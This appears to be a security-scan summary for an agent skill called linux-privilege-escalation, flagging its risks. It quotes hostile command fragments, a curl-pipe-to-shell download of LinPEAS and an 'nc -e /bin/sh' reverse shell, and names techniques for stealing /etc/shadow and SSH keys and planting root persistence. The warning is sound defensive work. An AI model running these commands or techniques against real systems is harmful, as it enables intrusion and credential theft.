The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides commands to download scripts from external sources and pipe them directly into a shell interpreter, notably using curl -L ... | sh to execute LinPEAS from GitHub.
[PRIVILEGE_ESCALATION]: Extensive documentation of methodologies to gain root access, including SUID/SGID binary abuse, capability exploitation, kernel exploits, and Docker group manipulation.
[CREDENTIALS_UNSAFE]: Instructions for harvesting sensitive information, such as accessing /etc/shadow, environment variables, and private SSH keys from the filesystem.
[COMMAND_EXECUTION]: The playbook relies on the execution of high-risk shell commands, including the use of reverse shell patterns (e.g., nc -e /bin/sh) to establish remote access.
[EXTERNAL_DOWNLOADS]: Fetches multiple security auditing tools and exploit payloads from external GitHub repositories.
[DATA_EXFILTRATION]: Provides specific techniques for exfiltrating sensitive files like /etc/shadow via network operations to remote listeners.
[PERSISTENCE]: Includes instructions for maintaining access to a host system, such as planting SSH keys in the root user's authorized_keys file via Docker volume mounts.
[DYNAMIC_EXECUTION]: Instructions for runtime compilation of C source code into shared objects to facilitate privilege escalation via LD_PRELOAD and library hijacking.

linux-privilege-escalation